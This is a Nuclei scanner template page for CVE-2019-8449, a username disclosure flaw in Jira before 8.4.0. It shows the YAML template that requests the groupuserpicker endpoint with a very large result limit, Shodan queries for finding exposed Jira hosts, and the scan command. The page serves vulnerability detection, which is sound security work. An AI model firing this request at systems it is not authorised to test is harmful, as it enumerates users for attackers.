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Nuclei Templates

Jira <8.4.0 - Information Disclosure

ID: CVE-2019-8449

Severity: medium

Author: harshbothra_

Tags: cve,cve2019,atlassian,jira,disclosure,packetstorm

Description

Section titled “Description”

Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2019-8449


info:
  name: Jira <8.4.0 - Information Disclosure
  author: harshbothra_
  severity: medium
  description: Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information.
  remediation: |
    Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.
  reference:
    - https://www.doyler.net/security-not-included/more-jira-enumeration
    - https://jira.atlassian.com/browse/JRASERVER-69796
    - http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-8449
    cwe-id: CWE-306
    epss-score: 0.29471
    epss-percentile: 0.96907
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,disclosure,packetstorm


http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"users":{"users":'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a040210f3bb51dfd61c37d101a88c4d37f39805a1979311c83d92eed767b7d0c022100e1ad6ef0ebfdfdc8999c62f15dd2c291d41f2b12000a8ed1e26f42216a52190e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-8449.yaml"

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